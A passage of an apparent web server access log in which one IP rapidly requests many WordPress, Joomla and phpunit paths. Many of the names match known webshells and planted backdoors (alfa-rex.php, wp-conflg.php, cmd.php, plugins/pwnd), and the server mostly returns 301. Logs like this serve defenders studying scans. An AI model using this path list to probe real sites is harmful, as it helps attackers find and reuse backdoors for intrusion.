Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:22 +0300] "GET /wp-includes/blocks/media-text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:23 +0300] "GET /wp-includes/phpmailer/phpmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:23 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:29:23 +0300] "GET /plus/90sec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:29:24 +0300] "GET /.trash7206/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:24 +0300] "GET /storage/framework/views/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:29:24 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:25 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:29:25 +0300] "GET /wp-includes/blocks/latest-comments/template-loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:26 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:26 +0300] "GET /wp-content/wpvivid_uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:26 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:27 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:27 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:27 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:29:28 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:29:28 +0300] "GET /wp-includes/blocks/nextpage/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:28 +0300] "GET /wp-content/plugins/akismet/views/cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:29 +0300] "GET /wp-admin/includes/nav-menu-trigger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:29 +0300] "GET /wp-includes/link-template-firewall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:29:29 +0300] "GET /assets/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:30 +0300] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:30 +0300] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:31 +0300] "GET /themes/fitnessbase/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:31 +0300] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:31 +0300] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:32 +0300] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:32 +0300] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:29:32 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:33 +0300] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:33 +0300] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:33 +0300] "GET /assets/global/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:33 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:34 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:34 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:35 +0300] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:35 +0300] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:35 +0300] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:36 +0300] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:36 +0300] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:36 +0300] "GET /wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:37 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:37 +0300] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:37 +0300] "GET /wp-admin/post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:38 +0300] "GET /lib/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:38 +0300] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:38 +0300] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:39 +0300] "GET /assets/bootstrap-fileupload/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:39 +0300] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:39 +0300] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:29:40 +0300] "GET /assets/jquery-ui/images/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:40 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:40 +0300] "GET /wp-includes/Requests/library/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:29:41 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:41 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:42 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:42 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:42 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:42 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:29:43 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:43 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:43 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:44 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:44 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:44 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:45 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:45 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:45 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:46 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:46 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:46 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:47 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:47 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:47 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:47 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:48 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:48 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:48 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:49 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:49 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:29:49 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:50 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:50 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:29:50 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:51 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:51 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:51 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:52 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:29:52 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:52 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:53 +0300] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:53 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:53 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:29:54 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:54 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:54 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:29:55 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:55 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:55 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:29:56 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:56 +0300] "GET /autoload_classmap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:29:56 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:57 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:29:57 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:29:57 +0300] "GET /components/com_jea/views/form/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:29:58 +0300] "GET /templates/beez/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:58 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:58 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:29:58 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:59 +0300] "GET 